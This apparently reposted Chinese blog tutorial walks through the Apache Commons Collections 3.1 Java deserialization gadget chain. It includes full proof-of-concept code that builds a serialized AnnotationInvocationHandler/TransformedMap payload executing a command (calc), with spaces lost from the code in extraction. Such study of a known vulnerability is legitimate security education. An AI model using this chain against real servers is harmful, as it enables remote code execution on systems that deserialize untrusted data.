文章目录
【java安全】CommonsCollections3.1
java开发过程中经常会用到一些库。Apache Commons Collections提供了很多的集合工具类。
很多项目会使用到该库,可以通过相关的调用链,触发Commons Colletions 反序列化RCE漏洞
接下来我们介绍一些重要的类
InvokerTransformer
这个
InvokerTransformer
类可以使用
transform()
方法使用反射机制调用任意函数
我们首先看一看构造方法:
publicInvokerTransformer(String methodName,Class[] paramTypes,Object[] args){this.iMethodName = methodName;this.iParamTypes = paramTypes;this.iArgs = args;}
为参数赋初值
transform()
方法
publicObjecttransform(Object input){if(input ==null){returnnull;}else{try{Class cls = input.getClass();Method method = cls.getMethod(this.iMethodName,this.iParamTypes);return method.invoke(input,this.iArgs);}...}}
该方法会使用反射机制,将传入的对象
input
使用
getClass()
方法获取Class对象,然后使用
getMethod()
获取方法的Method对象,最后传参
invoke()
调用函数
那么我们就可以通过
InvokerTransformer
这么执行命令:
importorg.apache.commons.collections.functors.InvokerTransformer;publicclassInvokerTransformerDemo{publicstaticvoidmain(String[] args)throwsException{//Class runtimeClass=Class.forName("java.lang.Runtime");//Object runtime=runtimeClass.getMethod("getRuntime").invoke(null);//runtimeClass.getMethod("exec", String.class).invoke(runtime,"calc.exe");Class runtimeClass=Class.forName("java.lang.Runtime");// Runtime的类对象//借助InvokerTransformer调用runtimeClass的getMethod方法,参数是getRuntime,最后返回的其实是一个Method对象即getRuntime方法Object m_getMethod=newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",null}).transform(runtimeClass);//借助InvokerTransformer调用m_getMethod的invoke方法,没有参数,最后返回的其实是runtime这个对象Object runtime=newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,null}).transform(m_getMethod);//借助InvokerTransformer调用runtime的exec方法,参数为calc.exe,返回的自然是一个Process对象Object exec=newInvokerTransformer("exec",newClass[]{String.class},newObject[]{"calc.exe"}).transform(runtime);}}
Runtime类的
getRuntime()
函数是静态方法,所以使用反射不需要传入对象,传个null即可
publicstaticRuntimegetRuntime(){return currentRuntime;}
ConstantTransformer
这个类的
transform()
方法很简单:
publicConstantTransformer(Object constantToReturn){this.iConstant = constantToReturn;}publicObjecttransform(Object input){returnthis.iConstant;}
传入什么对象,就返回什么对象
ChainedTransformer
构造函数:
publicChainedTransformer(Transformer[] transformers){this.iTransformers = transformers;}
将传入的
transformer
数组赋值给
iTransformers
变量
再看
transform()
方法:(重点)
publicObjecttransform(Object object){for(int i =0; i <this.iTransformers.length;++i){
object =this.iTransformers[i].transform(object);}return object;}
ChainedTransformer
类的
transform()
方法会调用
iTransformers
数组中的每个
Transform
对象的
transform()
方法,并且会将前一个的返回值通过
object
变量传给后面一个
于是我们可以构造出新的链
importorg.apache.commons.collections.Transformer;importorg.apache.commons.collections.functors.*;publicclassReflectionChain{publicstaticvoidmain(String[] args)throwsException{Transformer[] transformers=newTransformer[]{newConstantTransformer(Runtime.class),newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",null}),newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,null}),newInvokerTransformer("exec",newClass[]{String.class},newObject[]{"calc.exe"})};ChainedTransformer chain=newChainedTransformer(transformers);
chain.transform(null);}}
至此,我们漏洞利用条件是构造出含命令的
ChainedTransformer
对象,然后触发
transform()
方法
如何才能触发呢?
我们需要看看
TransformedMap
类的源码:
TransformedMap
在
TransformedMap
类中,存在一个
checkSetValue()
方法,可以调用
transform()
方法:
protectedObjectcheckSetValue(Object value){returnthis.valueTransformer.transform(value);}
我们可以通过创建
TransformMap
对象来调用该方法,但是如何创建对象呢?
我们可以使用
decorate()
静态方法:
publicstaticMapdecorate(Map map,Transformer keyTransformer,Transformer valueTransformer){returnnewTransformedMap(map, keyTransformer, valueTransformer);}
于是,我们可以将构造的链子传入TransformedMap对象中:
Map innermap =newHashMap();
innermap.put("key","value");Map outmap =TransformedMap.decorate(innermap,null, chain);
如何触发checkSetValue()方法?
Map
是java的接口,
Map.entrySet()
的返回值是一个
Set
集合,此集合的类型是
Map.Entry
我们发现
TransformedMap
类的父类是
AbstractInputCheckedMapDecorator
public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable
但是
AbstractInputCheckedMapDecorator
类中存在
setValue()
方法,可以调用
checkSetValue()
staticclassMapEntryextendsAbstractMapEntryDecorator{privatefinalAbstractInputCheckedMapDecorator parent;protectedMapEntry(Map.Entry entry,AbstractInputCheckedMapDecorator parent){super(entry);this.parent = parent;}publicObjectsetValue(Object value){
value =this.parent.checkSetValue(value);returnthis.entry.setValue(value);}}
根据继承和多态,我们知道
TransformedMap
类中也有
setValue()
方法
我们可以对outmap对象如下操作就可触发命令执行:
Map.Entry onlyElement =(Map.Entry) outmap.entrySet().iterator().next();
onlyElement.setValue("foobar");
但是目前漏洞的触发还需要调用
setValue()
方法,我们需要实现带有
readObject()
方法的类调用
setValue()
方法,这样就可以实现反序列化RCE了
这里需要用到
AnnotationInvocationHandler
类:
AnnotationInvocationHandler
AnnotationInvocationHandler类的
readObject()
方法对
memberValues.entrySet()
的每一项调用了
setValue()
方法
构造函数:
这里先直接给出两个条件:
sun.reflect.annotation.AnnotationInvocationHandler
构造函数的第⼀个参数必须是
Annotation的⼦类,且其中必须含有⾄少⼀个⽅法,假设⽅法名是X
- 被
TransformedMap.decorate
修饰的Map中必须有⼀个键名为X的元素
所以,在Retention有⼀个⽅法,名为value;所以,为了再满⾜第⼆个条件,我需要给Map中放⼊⼀个Key是value的元素
poc
importjava.io.FileInputStream;importjava.io.FileOutputStream;importjava.io.ObjectInputStream;importjava.io.ObjectOutputStream;importjava.lang.annotation.Retention;importjava.lang.annotation.Target;importjava.lang.annotation.RetentionPolicy;importjava.lang.reflect.Constructor;importjava.util.HashMap;importjava.util.Map;importjava.lang.reflect.Method;importorg.apache.commons.collections.Transformer;importorg.apache.commons.collections.functors.ChainedTransformer;importorg.apache.commons.collections.functors.ConstantTransformer;importorg.apache.commons.collections.functors.InvokerTransformer;importorg.apache.commons.collections.map.TransformedMap;publicclassCommonCollections11{publicstaticObjectgeneratePayload()throwsException{Transformer[] transformers =newTransformer[]{newConstantTransformer(Runtime.class),newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}),newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}),newInvokerTransformer("exec",newClass[]{String.class},newObject[]{"calc"})};//这里和我上面说的有一点点不同,因为Runtime.getRuntime()没有实现Serializable接⼝,所以这里用的Runtime.class。class类实现了serializable接⼝Transformer transformerChain =newChainedTransformer(transformers);Map innermap =newHashMap();
innermap.put("value","xxx");Map outmap =TransformedMap.decorate(innermap,null, transformerChain);//通过反射获得AnnotationInvocationHandler类对象Class cls =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//通过反射获得cls的构造函数Constructor ctor = cls.getDeclaredConstructor(Class.class,Map.class);//这里需要设置Accessible为true,否则序列化失败
ctor.setAccessible(true);//通过newInstance()方法实例化对象Object instance = ctor.newInstance(Retention.class, outmap);return instance;}publicstaticvoidmain(String[] args)throwsException{payload2File(generatePayload(),"obj");payloadTest("obj");}publicstaticvoidpayload2File(Object instance,String file)throwsException{//将构造好的payload序列化后写入文件中ObjectOutputStream out =newObjectOutputStream(newFileOutputStream(file));
out.writeObject(instance);
out.flush();
out.close();}publicstaticvoidpayloadTest(String file)throwsException{//读取写入的payload,并进行反序列化ObjectInputStream in =newObjectInputStream(newFileInputStream(file));
in.readObject();
in.close();}}
最后生成的temp.bin只需要通过某种途径传递给服务端使其反序列化就可RCE
利用链
以上利用方法在jdk1.7有效,不过ysoserial中也有jdk1.8的利用方式
ObjectInputStream.readObject()AnnotationInvocationHandler.readObject()MapEntry.setValue()TransformedMap.checkSetValue()ChainedTransformer.transform()ConstantTransformer.transform()InvokerTransformer.transform()Method.invoke()Class.getMethod()InvokerTransformer.transform()Method.invoke()Runtime.getRuntime()InvokerTransformer.transform()Method.invoke()Runtime.exec()
CC链学习-上 - 先知社区 (aliyun.com)
Java反序列化漏洞原理解析 - 先知社区 (aliyun.com)
版权归原作者 Leekos 所有, 如有侵权,请联系我们删除。